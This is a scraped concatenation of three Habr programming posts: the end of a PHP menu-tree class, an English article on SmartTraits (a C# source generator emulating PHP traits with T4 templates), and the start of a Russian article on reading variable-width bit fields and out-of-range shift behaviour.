$item->ChildMenus = $this->GetMenuChilds($item->Id, $menuList, $levels);
// Сообщаем текущему элементу меню что он находится на глубине $this->level
$item->Level = $this->level;
// Добавляем его в список веток
$a[] = $item;
}
else
{
// иначе нас просто просят вернуть список дочерних пунктов меню из $this->MenuList
$item->ChildMenus = $this->GetMenuChilds($item->Id, $menuList);
$item->Level = $this->level;
}
$this->level--;
// $levels не указан, но ParentId текущего элемента меню равен искомому, значит он
// является дочерним, просто положим его в список дочерних элементов
if($levels == null)
{
$a[] = $item;
}
}
}
// отдаем список дочерних элементов меню
return $a;
}
/**
*
* @return mixed Возвращает обычный список элементов меню
*/
public function GetMenuList()
{
return $this->MenuList;
}
/**
*
* @param int $menu_id Id элемента меню, путь от которого до корня будет найдет
* @return mixed список элементов меню
*/
public function GetMenuPathTo($menu_id)
{
// здесь будем хранить список элементов меню, через которые можно добраться до
// элемента меню, путь до которого нужно найти. Назовем его ПутевойЛист
$a = array();
for($i=0; $iMenuList); $i++)
{
// Если у текущего элемента меню id равен id искомого меню
if($this->MenuList[$i]->Id == $menu\_id)
{
// добавляем его в ПутевойЛист
$a[] = $this->MenuList[$i];
// Поскольку мы нашли текущий пункт меню, нам необходимо найти его родителя,
// для этого переменной $menu\_id устанавливаем значение, равное id родительского пункта меню
$menu\_id = $this->MenuList[$i]->ParentId;
// особая, уличная магия)
$i=-1;
}
}
// поскольку ПутевойЛист сейчас представлен в виде Ветка -> Корень,
// переворачиваем его, и теперь он у нас представлен в правильном виде: Корень -> Ветка
return array\_reverse($a);
}
/\*\*
\*
\* @param int $menu\_id Id меню, экземпляр которого необходимо получить
\* @return MenuItem Экземплят меню
\*/
public function GetMenuById($menu\_id)
{
$this->sql->Query("SELECT \* FROM `menus` WHERE `m\_Id`=?d LIMIT 1", $menu\_id);
$record = $this->sql->Assoc();
if($record)
{
$record = CommonUtils::DelPrefix($record,'m\_');
return CommonUtils::ObjectFromArray('MenuItem', $record);
}
return null;
}
}
```
Код класса, представляющего собой элемент меню:
```
class MenuItem
{
public $Id;
public $Position;
public $ParentId;
public $LineId;
public $Type;
public $Title;
public $Description;
public $Data;
public $Level;
public $ChildMenus;
}
```
Не знаю, как сделать подсветку php кода, но не о том речь.
В принципе, думаю, понятно, что метод **GetMenu()** позволяет получить как дерево меню, так и меню в виде списка. Кроме того, если в качестве второго аргумента указать число от 0 — до бесконечности, то дерево меню загрузится с глубиной, равной этому числу.
метод **GetMenuPathTo()** ищет путь до элемента меню, чей id передается в качестве параметра, этот метод был реализован для огранизации хлебных крошек на сайте
**CommonUtils::DelPrefix()** позволяет удалить префиксы в ассоциативных массивах, позволяя получить реальные имена свойств элементов меню.
**CommonUtils::ObjectFromArray()** возвращает объект заданного ему класса, который будет заполнен значениями из ассоциативного массива, переданного вторым параметром.
Не спорю, возможно, кому то этот код может чем то не понравиться, но зато он отлично справляется с построением деревьев меню, всего за 1 запрос к БД.
Всем успехов.
**upd**:// всем, кто оставляет каменты в стиле: «чем не устроил %methodname% для построения деревьев», или «а почему не %methodname%?» торжественно заявляю: Существует куча способов построения деревьев. Я привел свою реализацию, т.к. скорее всего не знал о Ваших %methodname%. В Любом случае, Ваши комментарии для меня важны и не останутся без должного внимания. | https://habr.com/ru/post/114573/ | null | ru | null |
# SmartTraits or lets add «multiple inheritance» to C#
One of our clients, a developer who used to work with php technologies for quite some time, frequently complained that with the transition to C# and .Net stack, he misses one of his favorite features from the php world — traits and he would like it very much to be able to use such functionality in .Net.
At one point, we decided to make him a present and implemented a proof of concept of similar functionality for C#.
To our surprise, it was quite easy to implement the PoC and the process of development was a lot of fun.
A brief description of what the traits are (for those of us who are lucky to never work with php). Extract from the php.net site:
> Traits are a mechanism for code reuse in single inheritance languages such as PHP. A Trait is intended to reduce some limitations of single inheritance by enabling a developer to reuse sets of methods freely in several independent classes living in different class hierarchies. The semantics of the combination of Traits and classes is defined in a way which reduces complexity, and avoids the typical problems associated with multiple inheritance and Mixins.
>
>
>
> A Trait is similar to a class, but only intended to group functionality in a fine-grained and consistent way. It is not possible to instantiate a Trait on its own. It is an addition to traditional inheritance and enables horizontal composition of behavior; that is, the application of class members without requiring inheritance.
Many programming languages (including C#) do not support multiple inheritance to avoid the complexity and ambiguity it brings into a development process. But in certain (keep-it-simple) scenarios, it could be quite useful and would reduce the overall project complexity and the size of the codebase. Especially in cases where you have no control over the choice of the base classes and the ability to create a proper class hierarchy.
Recent versions of C # have added support for default interface methods to address these issues, but those methods have some limitations.
After discussion about scope of the PoC, we came up with the minimum requirements for traits functionality:
* static typing
* integration directly into a project (i.e. not pre / post-processing)
* IDE (VisualStudio) compatibility with all its features: autocompletion, error detection during code editing, etc.,
* minimum additional effort from a developer
When source generators start to gain popularity, it became clear that they could be a good candidate and might be able to meet our requirements and it would makes sense to try to implement the PoC.
And after couple of weeks of development time, we finally created a tool called SmartTraits.
There are a lot articles on how to implement source generators, so I will not go into details of the implementation of the source generator itself, but will describe the general ideas of the project.
We implemented the functionality in several stages and I will write about them based on the implementation timeline, but first, I would like to describe the conventions we use for the Trait and its destination classes.
Trait is
* an abstract class that is declared as partial
* the class is marked with the Trait attribute
* this class cannot be inherited from another class
* the class specification may include an interface that it must implement
Trait destination class (i.e. the class to which the source code from Trait will be added)
* must be partial
* must include one or more [AddTrait] attribute(s) with a trait type as a parameter
For example, let's take the simplest class hierarchy
```
class ExampleA: BaseA
{}
class BaseA {}
class ExampleB: BaseB
{}
class BaseB {}
```
Classes ExampleA and ExampleB are derived from different base classes they do not have a common ancestor (for example base classes from third-party libraries) and as a result, we cannot easily add the required common functionality to all of these classes for one source.
*Note*: All examples are simplified on purpose, to demonstrate principles of the idea. We are aware that there are alternative ways to meet these requirements (for example, our [aspectimum](https://habr.com/ru/post/521232/) tool).
But when unexperienced developer meet such challenge, he/she will use his/her proven solution, copy & paste command and as a result, will get all the consequences it usually brings into the project.
Below is description of iterations that we had during development of our source generator.
(Small disclaimer before we continue — as you may notice, English is not my native language, so please forgive me for any mistakes.)
### First iteration — «glorified» #include
Suppose that to the both classes ExampleA and ExampleB in our example above, you need to add code to work with names
```
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{FirstName} {LastName}";
}
```
First, we create our simplest Trait class
```
[Trait]
abstract partial class NamesTrait
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{FirstName} {LastName}";
}
}
```
And apply the trait to the classes ExampleA and ExampleB by adding the [AddTrait] attribute
```
[AddTrait(typeof(NamesTrait))]
partial class ExampleA: BaseA
{}
```
That is it, nothing else is required, and our source generator «behind the scene» automatically creates the second part for the ExampleA and ExampleB classes, copying the sources of all methods, properties, etc. from NamesTrait to both of them.
```
partial class ExampleA
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{FirstName} {LastName}";
}
}
```
The most basic requirements have been met, even at the very first step.
* not different from the rest of the code and all the rules that are applied to regular c# code are fully applicable to Traits as well
* quite small overhead
* full IDE support
* immediate changes to ExampleA and ExampleB when the code changes in the NamesTrait
### The second iteration is a guarantee of the implementation of the required methods and properties by a trait
We can achieve guarantees in the standard way, by creating an interface and assigning it to both — the Trait class and the destination class.
Defining the interface
```
interface INames
{
string FirstName { get; set; }
string LastName { get; set; }
string GetFullName();
}
```
Destination class declarations will look like (added INames interface)
```
[AddTrait(typeof(NamesTrait))]
partial class ExampleA: BaseA, INames
```
The Trait class declaration (we also add the INames interface)
```
[Trait]
abstract partial class NamesTrait: INames
```
Now the code will not compile until all the required methods / properties are implemented.
### Third iteration — conflict resolution
By default, all the contents of the Trait class will be copied to the destination class, but lets suppose that for some destination classes we would like to be able to implement their own versions of methods, properties, etc.
The solution to achieve this requirement is quite simple, we mark Trait members that could be implemented in destination classes with the `[Overrideable]` attribute and when do copying from the Trait class, we check if a similar method or property is already implemented by the destination class and in this case do not copy the version from Trait.
If ExampleB has its own implementation of the GetFullName method, then we ignore the version of this method from the NamesTrait
```
[AddTrait(typeof(NamesTrait))]
partial class ExampleB: BaseB, INames
{
public string MiddleName { get; set; }
public string GetFullName() {
return $" {FirstName} {MiddleName} {LastName}";
}
}
```
Below is a generated part for class ExampleB
```
partial class ExampleB
{
public string FirstName { get; set; }
public string LastName { get; set; }
}
```
In the NamesTrait class, the GetFullName method looks like (added `[Overrideable]` attribute)
```
[Overrideable]
public string GetFullName() {
return $"{FirstName} {LastName}";
}
```
### Fourth iteration — accessing methods and properties of the destination class from Trait methods
If we know that all destination classes implement some methods or properties that we need to call from a Trait, then there are two ways to achieve this functionality.
1. In the Trait we add a mock and ignore this mock during copying process. For private and protected methods and properties, this is the only simple option we could think of. To achieve ignore copying of class members, you can mark them with the [TraitIgnore] attribute.
UPD: User Mingun suggested using abstracted methods / properties
instead of mocks and ignoring them when copied. Also, if we still create mocks, he recommended using exceptions instead of returning default values. This is a more correct and safe option.
2. In addition to the mock option, for public methods can achieve this requirement in a more elegant way. We create the interface (s) and assign them to both Trait and the destination class. By doing this, we guarantee that there are interface members available in both classes. Also, for these interface members, we can automatically generate a mock for the Trait class. In this case, automatic source generation helps us for both, a destination class and for the Trait itself.
Suppose both ExampleA and ExampleB have a `GetNamePrefix (): string` method and we would want to be able to call this method from the Trait.
#### Option 1. Mock
```
[AddTrait(typeof(NamesTrait))]
partial class ExampleA
{
private string GetNamePrefix()
{
return "mr/mrs. ";
}
}
```
The Trait declaration (you can see the use of GetNamePrefix () in the GetFullName function) and the definition of the GetNamePrefix mock
```
[Trait]
abstract partial class NamesTrait: INames
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{GetNamePrefix()} {FirstName} {LastName}";
}
[TraitIgnore]
private string GetNamePrefix()
{
throw(new Exception());
}
}
```
The generated code for ExampleA will look like
```
partial class ExampleA: INames
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{GetNamePrefix()} {FirstName} {LastName}";
}
}
```
#### Option 2. Use of public methods / properties of the destination class via interfaces
We define an interface that the destination class implements (in this example, it is INamePrefix)
```
interface INamePrefix
{
string GetNamePrefix();
}
[AddTrait(typeof(NamesTrait))]
partial class ExampleA: INames, INamePrefix
{
public string GetNamePrefix()
{
return "mr/mrs. ";
}
}
```
And assign it to the Trait class
```
[Trait]
abstract partial class NamesTrait: INames, INamePrefix
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{GetNamePrefix()} {FirstName} {LastName}";
}
}
```
The generated code for the destination class (Example) will look like
```
partial class ExampleA: INames, INamePrefix
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string GetFullName() {
return $"{GetNamePrefix()} {FirstName} {LastName}";
}
}
```
And the automatically generated code for the Trait class will look like
```
abstract partial class NamesTrait: BaseMockNamesTrait
{
}
abstract class BaseMockNamesTrait: INamePrefix
{
public abstract string GetNamePrefix();
}
```
Note: in order to distinguish the interfaces for accessing the members of the destination class (in this example it is INamePrefix) for which it is necessary to generate a mock, from the interface that guarantees the trait contract (in the example it is INames) we introduce an additional condition that the Trait interface of the contract is marked with the attribute [TraitInterface].
### Fifth iteration — strict mode
We've included additional support for strict mode to prevent surprises and to reduce the likelihood of introducing of tricky bugs. In the strict mode, the code of Trait and the destination classes must implement the interface marked with the [TraitInterface] attribute. Plus the Trait class must implement ONLY methods and properties from this interface. No additional methods / properties are allowed.
An example of setting strict mode
```
[Trait(TraitOptions.Strict)]
abstract partial class NameTrait : IName
```
If you add a method / property that does not exist in the IName interface, there will be an error during compilation and you will not be able to build the project.
### Side notes
After five iterations, it turned out to be quite a useful tool, but the curious reader from the very beginning is asking a question of why we added the word «smart» to the project name. So far, it is clearly not enough to be called SmartTraits — I completely agree, so there are still a couple of iterations ahead.
### Sixth iteration — smart methods
Working with source generators, we have access to the source code of the project. It is how we were able to implement the Traits functionality.
But if you think about it, if we have the source code, we can copy it, but we also can execute it.
Therefore, we have added a new feature, methods that is
* marked with the Process attribute
* take ClassDeclarationSyntax object as a parameter
* and return string
Will be compiled and executed on the fly. The ClassDeclarationSyntax node of the destination class will be passed to the method as a parameter.
The result of the method execution will be added to the destination class code. If the optional attribute parameter is specified as ProcessOptions.Global, then it will be added not to the class code, but as a separate generated code. This will allow generating additional classes that implement the required functionality. When you start working with this functionality, at first, it really feels like some kind of magic.
Smart methods are mostly useful for generating code depending on external data (api / db / xml accesses, etc.). But you need to understand that this can be quite resource consuming and you need to implement the correct strategy for caching and invalidation.
An example of such code (marked with the [Process] attribute). For the ExampleA class, the GetExampleA method will be generated, and for ExampleB class, will be generated GetExampleB method
```
[Trait]
abstract partial class NamesTrait: INames, INamePrefix
{
[Process]
string BuildMethod(ClassDeclarationSyntax classNode)
{
return $"public string Get{classNode.Identifier}() {{ return \"{classNode.Identifier}\"; }}";
}
}
```
For example, the generated code in the destination class ExampleA will look like
```
partial class ExampleA: INames, INamePrefix
{
public string GetExampleA()
{
return "ExampleA";
}
}
```
And for ExampleB like
```
partial class ExampleB: INames, INamePrefix
{
public string GetExampleB()
{
return "ExampleB";
}
}
```
### Seventh iteration — even smarter
The ability to execute custom code on the fly that immediately changes the code of the same project is definitely cool, but it requires certain qualifications from a developer who writes such code. Generating code by manipulating and navigating through Roslyn takes some getting used to.
Therefore, it was decided to simplify and expand the feature by adding support for executing T4 templates during the source generation process. After all, the T4 was created just for this. It is easy to generate source code and even if a developer has never written T4 scripts before, learning of how to do it, is much easier than manipulating objects using Roslyn.
If you've written aspx or jsp code before, you may consider that you already know T4. Or if you wrote pages in php, the basic idea is the same. It was especially convenient in our case, taking into account the fact that our customer was from the PHP clan.
The idea is the same as in the previous case. We can mark any method, property or class with the `[ApplyT4]` attribute. It doesn't even need to be a member of the `[AddTrait]` destination class.
The only difference is that by default the result of template execution will be included as a separate generated code, i.e. T4TemplateScope.Global. But if desired, for the members of the destination class (class with the `[AddTrait]` attribute), you can specify the T4TemplateScope.Local option and the result of the template will be added to the partial part of the generated destination class.
Due to the fact that the compiled version of the template is cached, execution is very fast. When the T4 template is changed, it sees the changes immediately and is recompiled on the fly and the new version is applied.
It is very convenient in comparison with standard source generators, where on any tiny change, you need to build a new assembly and redeploy the nuget package.
After six months of work, we collected statistics that the version with Process (compilation of embedded code on the fly) is actually not used and it was disabled, leaving only the T4 version.
Some developers who do not require the functionality of the SmartTraits package, have installed a generator and are using it only because of the synergy between source generators and T4, because of the ability to recompile on the fly and seen instant results.
Here is how we define templates:
```
[AddTrait(typeof(NameTrait))]
[ApplyT4("DemoTemplate", Scope = T4TemplateScope.Local, VerbosityLevel = T4GeneratorVerbosity.Debug)]
partial class ExampleA : BaseA, IName
{
}
class BaseA { }
```
Sample T4 template:
```
<#@ include file="SmartTraitsCsharp.ttinclude" #>
<#
// for this demo, we ignore empty nodes, but in real life you would want the template to fail, to be able to catch issues earlier
if(ClassNode?.Identifier == null)
return "";
#>
public string GetT4<#= ClassNode.Identifier.ToString() #>()
{
return "T4 <#= ClassNode.Identifier.ToString() #>";
}
```
Generated Code for ExampleA
```
partial class ExampleA {
public string GetT4ExampleA()
{
return "T4 ExampleA";
}
}
```
Generated Code for ExampleB
```
partial class ExampleB {
public string GetT4ExampleB()
{
return "T4 ExampleB";
}
}
```
### Conclusion
This was a short description of what was done to demonstrate the capabilities of the technology.
We decided to publish the source code of this proof of concept under a free MIT license — in case if anyone might be interested and decide to build a product that could be used for production ready code.
Unfortunately, we cannot open a version that we developed after the proof of concept, because its development was paid for by a customer and we cannot distribute of it.
### Thinking out loud
In my opinion, such functionality could even be added into the C# language itself, a couple of keywords and it would be ready to use. Based on the experience of this project, everything turns out to be quite convenient and useful.
I would also suggest to guys from Microsoft to add an option so that you can mark your analyzer or generator as «heavy» — i.e.it would be executed only on builds, and not on every tiny change of the code. In certain cases, I would prefer that there was no instant update of the generated files, but much more resource-intensive checks could be added to the analyzer/source generator without being afraid to halt the IDE for a minute.
### How to try it?
The project code can be found in the [repository](https://github.com/eugenie32b/smarttraits)
Packages are also available at [nuget.org](https://www.nuget.org/packages/SmartTraits/0.1.0)
I want to warn you — the development of this version was stopped right after the demo to the client and after that it was never updated. So this is PoC/MVP with the quality of the code of PoC and with a high probability of multiple bugs. Though, before publishing the article, I have tested this code, and the cases from the demo project were working just fine.
In order for the project to write the generated code to the file system, you need to add to the project file:
```
true
$(BaseIntermediateOutputPath)\GeneratedFiles
```
I strongly recommend updating to the latest version of VisualStudio and Resharper before trying the project, source generators are new technology and old versions of the tools are not working with it properly.
**Demo results**
Source code of demo program:
```
Console.WriteLine("Hello SmartTraits!");
Stage1.Test.Example();
Stage2.Test.Example();
Stage3.Test.Example();
Stage4.Test.Example();
Stage5.Test.Example();
Stage6.Test.Example();
Stage7.Test.Example();
```
Execution output
```
Hello SmartTraits!
### Test 1
SmartTraits.Tests.Stage1.ExampleA
Jim Smith
SmartTraits.Tests.Stage1.ExampleB
Jane Silver
123 Main st. New York NY 10012
### Test 2
SmartTraits.Tests.Stage2.ExampleA
Jim Smith
SmartTraits.Tests.Stage2.ExampleB
Jane Silver
123 Main st. New York NY 10012
### Test 3
SmartTraits.Tests.Stage3.ExampleA
Jim Smith
SmartTraits.Tests.Stage3.ExampleB
Jane J. Silver
123 Main st. New York NY 10012
### Test 4
SmartTraits.Tests.Stage4.ExampleA
mr/mrs. Jim Smith
SmartTraits.Tests.Stage4.ExampleB
sir/madam Jane Silver
Address Label: 123 Main st. New York NY 10012
### Test 5
SmartTraits.Tests.Stage5.ExampleA
Jim Smith
SmartTraits.Tests.Stage5.ExampleB
Jane Silver
Address Label: 123 Main st. New York NY 10012
### Test 6
SmartTraits.Tests.Stage6.ExampleA
Jim Smith
ExampleA
SmartTraits.Tests.Stage6.ExampleB
Jane Silver
123 Main st. New York NY 10012
ExampleB
### Test 7
SmartTraits.Tests.Stage7.ExampleA
Jim Smith
T4 ExampleA
SmartTraits.Tests.Stage7.ExampleB
Jane Silver
123 Main st. New York NY 10012
T4 ExampleB
```
Thanks for your time. | https://habr.com/ru/post/546618/ | null | en | null |
# Куча различных способов считывания битов
Возобновляя старую традицию своего блога, я возьму простую задачу, рассмотрю *чрезмерно* длинный список её альтернативных решений и оценю их достоинства.
Наша простая задача будет заключаться в следующем: мы хотим считывать из байтового потока данные, значения закодированные переменным количеством бит. Считывание отдельных байтов, машинных слов и т.д. непосредственно поддерживается большинством процессоров и многими языками программирования, но при вводе-выводе с переменной битовой длиной обычно необходимо реализовывать решение самостоятельно.
Это звучит достаточно просто, и в каком-то смысле так и есть. Первый источник проблем заключается в том, что эта операция будет активно использовать кодеки — и да, она будет ограничена вычислениями, а не памятью и вводом-выводом. Поэтому нам нужна не просто рабочая, но и эффективная реализация. И по дороге мы столкнёмся со множеством других сложностей: взаимодействия с буферизацией ввода-вывода, обработка конца буфера, тупиковые ситуации в битовых сдвигах, определённых в C/C++ и в разных архитектурах процессоров, а также другие особенности битовых сдвигов.
В этом посте в основном сосредоточусь на множестве различных способов реализации считывателя; по сути, все рассмотренные здесь техники аналогично применимы и к записывающей части, но я не хочу удваивать количество вариаций алгоритмов. Их и так будет достаточно.
### Степени свободы
«Считать переменное количество битов» — это недостаточное описание задачи. Существует множество приемлемых способов упаковки битов в байты, и у всех них есть свои сильные и слабые места, о которых я расскажу позже. Пока же давайте просто остановимся на их различиях.
Для начала нам нужно сделать первый важный выбор — поля будут упаковываться в виде «первым идёт MSB» или «первым идёт LSB» («most significant bit» — наиболее значимый бит и «least significant bit» — наименее значимый бит). То есть если мы вызовем реализуемую функцию `getbits` и выполним следующий код
```
a = getbits(4);
b = getbits(3);
```
для только что открытого битового потока, то мы ожидаем, что оба значения будут получены от одного и того же байта, но как они упорядочены в этом байте? Если упакованы в виде MSB-first, то «a» занимает 4 бита, начиная с MSB, а «b» находится ниже «a», что приводит нас к следующей схеме:
Я нумерую биты так: LSB — это 0 и приближаясь к MSB, значения увеличиваются. Во многих контекстах такой порядок является стандартным. LSB-first представляет собой противоположную ситуацию: первое поле занимает бит 0, а следующие поля содержат увеличивающиеся номера битов:
Оба формата используются в часто встречающихся форматах файлов. Например, в JPEG применяется упаковка битов в битовом потоке в формате MSB-first, а в DEFLATE (zip) используется LSB-first.
Следующий вопрос, который нам нужно решить, заключается в том, что произойдёт, когда значение оказывается растянутым на несколько байтов. Допустим, у нас есть ещё одно значение «c», которое мы хотим закодировать в 5 битах. Что у нас в результате получится? Мы можем слегка отсрочить решение проблемы, объявив, что упаковываем значения в 32-битные или 64-битные слова, а не в байты, но в конце концов нам придётся что-то выбирать. И здесь мы внезапно сталкиваемся со множеством различных вариантов, поэтому я рассмотрю только основных претендентов.
Мы можем воспринимать упаковку битов MSB-first как итерирование по битовому полю «c» от его MSB по направлению к LSB, со вставкой по одному биту за раз. Заполнив один байт, мы приступаем к следующему. Если следовать этим правилам для нашего битового поля c, то в результате в нашем потоке биты окажутся в следующей схеме:
Учтите, что следуя этим правилам, мы в результате придём к тем же двум байтам, которые получили бы, упаковав биты MSB в большой integer и сохранив его в порядке big-endian. Если бы мы вместо этого решили разбить «c» таким образом, чтобы его LSB был в первом байте, а четыре его бита более высшего порядка — во втором байте, то это бы не сработало. Я буду называть такие непротиворечивые правила упаковки битов «естественными» правилами.
Разумеется, у упаковки битов LSB-first существует собственное естественное правило. Оно заключается во вставке нового значения бит за битом, начиная с LSB и вверх, и если мы так сделаем, то в результате получим следующий битовый поток:
Естественная упаковка LSB-first даёт нам те же байты, что и упаковка LSB-first в большой integer с сохранением его в порядке байтов little-endian. Кроме того, у нас на рисунке возникает очевидная неуклюжесть: логически сопряжённая упаковка поля «c» в несколько байтов выглядит на таком рисунке прерывистой, в то время как рисунок упаковки MSB-first выглядит так, как мы того и ожидаем. Но и в нём возникает проблема: в рисунке MSB-first мы нумеруем биты в увеличивающемся справа налево порядке (стандартном), а байты — в увеличивающемся слева направо порядке (что тоже является стандартным).
Вот, что происходи со схемой битов LSB-first, если мы нарисуем бит 0 (LSB) в каждом байте *слева*, а бит 7 (MSB) — справа:
Если нарисовать так, то схема будет выглядеть ожидаемым нами способом. Расположение MSB справа кажется странным, если думать о байте как о числе, но гораздо менее странным оказывается, если думать о нём как о массиве из 8 бит (как мы, по сути, и работаем с ним при выполнении побитового ввода-вывода).
По совпадению, в некоторых big-endian-архитектурах (например, в IBM POWER) биты нумеруются следующим образом — бит 0 — это MSB, бит 31 (или 63) — LSB. Создав схему упаковки битов MSB-first на такой машине с битом 0=MSB, и нумеруя наши собственные битовые поля таким образом, чтобы их бит 0 соответствовал MSB, мы получим точно такую же схему (но это будет означать, что что-то немного отличается). Этот стандарт делает порядок битов и байтов согласующимся (что хорошо), но разрушает удобный стандарт соответствия бита *k* значению 2k (что не совсем хорошо).
И если мысль о перенумерации битов таким образом, чтобы бит 0 являлся MSB, взрывает вам мозг, то можно оставить нумерацию битов неизменной, но стать бунтарём и рисовать адреса байтов увеличивающимся слева. Или же увеличивать адреса вправо, но стать немного другим бунтарём и записывать байтовый поток в обратном порядке. Если выбрать один из этих вариантов, то мы получим следующую схему:
Я понимаю, что это уже начинает запутывать, и на этом остановлюсь, но здесь нужно сказать о важном: не стоит слишком привязываться к способу получения байтов. Легко обмануться, решив, что один вариант лучше другого просто потому, что он выглядит лучше, но стандарты получения байтов слева направо и битов внутри них справа налево совершенно произвольны, поэтому какой бы вы ни выбрали, у вас в результате всё равно получится что-то странное.
Получается у каждого из стандартов упаковки MSB-first и LSB-first есть свои достоинства и недостатки, и гораздо полезнее будет думать о них как об инструментах с разными областями применения, а не назначать один из них «правильным», а другие «ошибочными». Что касается порядка байтов и необходимости упаковки значений в байты, слова или что-то более крупное, то я крайне рекомендую вам использовать наиболее естественный порядок для вашего стандарта упаковки битов: MSB-first естественным образом соответствует порядку байтов в стиле big-endian, а LSB-first естественно соответствует порядку байтов little-endian. Если только вы не записываете байтовые потоки в обратном порядке (верите или нет, но есть логичные причины поступать и так); в этом случае у нас получается MSB-first в обратном порядке, соответствующий little-endian, и LSB-first в обратном порядке, соответствующий big-endian.
Причина выбора «естественных» порядков заключается в том, что они дают нам в разных реализациях бОльшую свободу. Поток с естественным порядком позволяет использовать множество различных декодеров (и кодеров), у каждого из которых есть свои компромиссы (и свои преимущества в разных случаях). «Неестественные» порядки обычно применяются с одной конкретной реализацией и при декодировании любым другим способом оказываются очень неудобными.
### Наш первый `getbits` (извлечение битов)
Теперь, когда мы в достаточном объёме описали задачу, можем реализовать решение. Особо простая версия возможна, если предположить, что весь битовый поток расположен в памяти последовательно (как массив байтов), и пока полностью игнорировать неприятные проблемы наподобие попадания в конец массива. Давайте просто притворимся, что он бесконечен! (Или достаточно огромен, или имеет по краям заполнение нулями.)
В этом случае мы можем основать реализацию на чисто функциональной функции «извлечения битов», в которой я проиллюстрирую возникающие проблемы и всевозможные функции считывания битов. Давайте начнём с упаковки битов LSB-first:
```
// Считаем buf[] одним гигантским числом integer little-endian, получаем "width"
// битов, начиная с номера бита "pos" (LSB=бит 0).
uint64_t bit_extract_lsb(const uint8_t *buf, size_t pos, int width) {
assert(width >= 0 && width <= 64 - 7);
// Считываем 64-битное число little-endian, начиная с байта,
// содержащего бит номер "pos" (относительно "buf").
uint64_t bits = read64LE(&buf[pos / 8]);
// Смещаем биты внутри первого байта, который
// мы уже считали.
// После этого LSB нашего битового поля является LSB битов.
bits >>= pos % 8;
// Возвращаем нижние "width" битов, обнуляя остальные с помощью битовой маски.
return bits & ((1ull << width) - 1);
}
// Переменная состояния, предполагается локальной или
// принадлежащей какому-нибудь объекту.
const uint8_t *bitstream; // Входящий битовый поток
size_t bit_pos; // Текущая позиция в потоке в битах.
uint64_t getbits_extract_lsb(int width) {
// Считывание битов
uint64_t result = bit_extract_lsb(bitstream, bit_pos, width);
// Перемещаем курсор
bit_pos += width;
return result;
}
```
Мы просто воспользовались тем упомянутым выше фактом, что битовый поток LSB-first — это просто большое число little-endian. Сначала мы получаем 64 смежных, упорядоченных в байты битов, начиная с первого байта, содержащего любые из интересующих нас битов, совершаем сдвиг вправо, чтобы избавиться от оставшихся лишних 0-7 битов ниже первого нужного нам бита, а затем возвращаем результат, маской приведённый к нужной ширине.
В зависимости от значения `pos`, это смещение вправо может стоить нам дополнительных 7 битов. Поэтому хотя мы и считываем полные 64 бита, максимальное количество, которое мы можем считать за один раз с помощью этого кода, равно 64-7=57 битам.
Имея `bitextract`, мы запросто можем реализовать `getbits`; мы просто отслеживаем текущую позицию битового потока (в битах), и выполняем его инкремент после считывания.
Соответствующий вариант для MSB-first получается довольно похожим образом, за исключением одной раздражающей проблемы, о которой я расскажу после демонстрации кода:
```
// Считаем buf[] одним гигантским числом integer big-endian, получаем "width"
// битов, начиная с номера бита "pos" (MSB=бит 0).
uint64_t bit_extract_msb(const uint8_t *buf, size_t pos, int width) {
assert(width >= 1 && width <= 64 - 7);
// Считываем 64-битное число big-endian, начиная с байта,
// содержащего бит номер "pos" (относительно "buf").
uint64_t bits = read64BE(&buf[pos / 8]);
// Смещаем биты внутри первого байта, который мы уже считали.
// После этого MSB нашего битового поля находится в MSB битов.
bits <<= pos % 8;
// Возвращаем верхние "width" битов.
return bits >> (64 - width);
}
uint64_t getbits_extract_msb(int width) {
// Считываем биты
uint64_t result = bit_extract_msb(bitstream, bit_pos, width);
// Перемещаем курсор
bit_pos += width;
return result;
}
```
Этот код работает аналогично предыдущему: считываем 64 смежных, упорядоченных в байты бита (на этот раз big-endian), выполняем сдвиг *влево*, чтобы выровнять верх нужного нам битового поля с MSB `bits` (в то время как раньше мы делали сдвиг *вправо*, чтобы выровнять низ нашего битового поля с LSB `bits`), а затем делаем сдвиг вправо, чтобы расположить верхние `width` битов внизу для их возврата, потому что при вызове `getbits(3)` мы обычно ожидаем увидеть значение от 0 до 7.
### Граничные случаи сдвигов
Так в чём же проблема? Эта версия кода не позволяет `width` быть равной нулю. Проблема в том, что если мы позволим сделать `width == 0`, то конечный сдвиг попытается сдвинуть вправо 64-битное значение на 64 бита, а в C/C++ это неопределённое поведение! В таком случае мы можем выполнять сдвиг на 0-63 байта.
В некоторых случаях C/C++ оставляет детали неопределёнными для обратной совместимости с машинами, поэтому никто сейчас об этом не беспокоится. Известный пример: отсутствие требования того, чтобы представление знаковых чисел использовало дополнительный код; хотя архитектуры без дополнительного кода существуют, все они сегодня сохранились лишь в музеях.
К сожалению, у нас не один из таких случаев. Вот, что происходит на разных широко распространённых архитектурах CPU, когда величина сдвига находится вне пределов интервала:
* Для 32-битных x86 и x86-64 величины сдвига интепретируются как mod 32 для ширины операндов 32 бит и ниже, и mod 64 для 64-битных операндов. То есть сдвиг вправо 64-битного значения на 64 в результате даст то же, что и сдвиг на 0, т.е. отсутствие операции (no-op).
* В 32-битных ARM (наборы инструкций A32/T32) величины сдвига берутся mod 256. Сдвиг вправо 32-битного значения на 32 (или 64) в результате даст 0, как и сдвиг вправо на 255, но сдвиг вправо на 256 оставит значение нетронутым.
* В 64-битных ARM (A64 ISA) величины сдвига берутся mod 32 для 32-битных сдвигов и mod 64 для 64-битных сдвигов (по сути так же, как и в x86-64).
* RISC-V тоже следует тому же правилу: расстояния 32-битных сдвигов берутся как mod 32, расстояния 64-битных сдвигов — как mod 64.
* В POWER/PowerPC 32-битные сдвиги берут величину сдвига mod 64, а 64-битные сдвиги берут величину сдвига mod 128.
Чтобы ещё более запутать нас, большинство этих наборов инструкций имеют расширения SIMD, а целочисленные инструкции SIMD обладают другим поведением при сдвиге вне пределов интервала, отличающимся от инструкций не-SIMD. Если вкратце, то это один из тех случаев, когда присутствуют архитектурные различия между популярными платформами; для большинства из вас POWER и RISC-V могут показаться немного устаревшими, но, допустим, 32-битные и 64-битные ARM установлены на данный момент в сотнях миллионов устройств.
